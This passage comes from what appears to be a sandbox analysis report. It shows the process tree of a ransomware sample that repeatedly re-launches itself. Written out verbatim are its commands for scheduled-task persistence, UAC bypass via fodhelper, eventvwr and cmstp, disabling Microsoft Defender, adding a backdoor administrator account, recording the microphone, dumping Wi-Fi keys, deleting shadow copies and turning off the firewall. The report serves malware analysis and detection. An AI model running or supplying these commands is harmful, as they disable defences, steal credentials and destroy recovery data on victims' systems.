                                                                                                                                                        "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4936
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2924
                                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                4⤵
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:1360
                                                                                                                                                              • C:\Windows\System32\cmstp.exe
                                                                                                                                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\749a7f9f-01f7-4717-88ab-00dc358f261f.inf
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:208
                                                                                                                                                                • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                  "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:8
                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:1284
                                                                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:3760
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5860
                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                              6⤵
                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                              PID:5592
                                                                                                                                                                            • C:\Windows\System32\cmstp.exe
                                                                                                                                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\535471a7-1bda-4d80-9689-44021bf5a85d.inf
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:5812
                                                                                                                                                                              • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:5760
                                                                                                                                                                                  • C:\Windows\system32\mmc.exe
                                                                                                                                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                    7⤵
                                                                                                                                                                                      PID:5240
                                                                                                                                                                                  • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:5276
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:5816
                                                                                                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                            8⤵
                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                            PID:6960
                                                                                                                                                                                          • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bbe5af95-237d-4ebb-bfea-9eea65a6c7ae.inf
                                                                                                                                                                                            8⤵
                                                                                                                                                                                              PID:7060
                                                                                                                                                                                            • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                              8⤵
                                                                                                                                                                                                PID:7140
                                                                                                                                                                                                • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                    PID:1164
                                                                                                                                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                    PID:6240
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                        PID:6532
                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                          PID:6520
                                                                                                                                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fb821df0-f678-43a7-aec5-9ef20b7a8031.inf
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                            PID:2272
                                                                                                                                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                              PID:6032
                                                                                                                                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                  PID:6588
                                                                                                                                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                  PID:7212
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                      PID:8100
                                                                                                                                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                        PID:7812
                                                                                                                                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\aa363786-2572-4ecc-be5a-464b70b82b4e.inf
                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                          PID:7468
                                                                                                                                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                            PID:8268
                                                                                                                                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                PID:8360
                                                                                                                                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                PID:8568
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                    PID:6648
                                                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                      PID:7932
                                                                                                                                                                                                                                    • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d433bdc2-9625-4704-b628-59d9058defc3.inf
                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                        PID:8220
                                                                                                                                                                                                                                      • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                          PID:8704
                                                                                                                                                                                                                                          • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                            15⤵
                                                                                                                                                                                                                                              PID:9340
                                                                                                                                                                                                                                          • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                              PID:9552
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                  PID:10436
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                PID:9564
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:11144
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:11284
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                  PID:7920
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                      PID:10952
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                PID:8576
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:8344
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:9208
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                  PID:7316
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                      PID:1488
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                PID:7220
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:5612
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:5388
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                  PID:7664
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                      PID:5748
                                                                                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                    "notepad.exe"
                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                      PID:4468
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                  PID:2784
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:5580
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                    PID:6184
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                    PID:7380
                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                        PID:7852
                                                                                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                      "notepad.exe"
                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                        PID:8388
                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                    PID:5244
                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                    PID:6600
                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                      PID:7032
                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:6416
                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                          PID:4812
                                                                                                                                                                                                                                                      • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                        "notepad.exe"
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                          PID:984
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                      • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:3048
                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                      "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                      PID:5584
                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                        • Creates a new local user account
                                                                                                                                                                                                                                                        PID:5580
                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                      "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:5900
                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:6620
                                                                                                                                                                                                                                                        • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                          "notepad.exe"
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:7476
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307448003095.wav')"
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            PID:10920
                                                                                                                                                                                                                                                          • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                            "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                            PID:9616
                                                                                                                                                                                                                                                          • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Interacts with shadow copies
                                                                                                                                                                                                                                                            PID:12052
                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                        PID:3784
                                                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates a new local user account
                                                                                                                                                                                                                                                        PID:4824
                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                          PID:5184
                                                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:5704
                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2068
                                                                                                                                                                                                                                                          • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                            "notepad.exe"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:5164
                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                              "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307415659069.wav')"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                              PID:8832
                                                                                                                                                                                                                                                            • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                              "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                              PID:8016
                                                                                                                                                                                                                                                            • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Interacts with shadow copies
                                                                                                                                                                                                                                                              PID:9688
                                                                                                                                                                                                                                                            • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:11048
                                                                                                                                                                                                                                                              • C:\Windows\System32\net.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:10532
                                                                                                                                                                                                                                                                • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                                                                                                  PID:11788
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:1984
                                                                                                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                    PID:4108
                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7cb8a62d-ddde-4fed-84aa-7c874f622165.inf
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:3124
                                                                                                                                                                                                                                                                    • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:4432
                                                                                                                                                                                                                                                                        • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:4016
                                                                                                                                                                                                                                                                        • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:952
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:4504
                                                                                                                                                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                  PID:1132
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3585a196-620b-4a30-ba82-0182e7e6cf52.inf
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:2608
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:4724
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:3700
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:1740
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                              PID:5940
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                6⤵
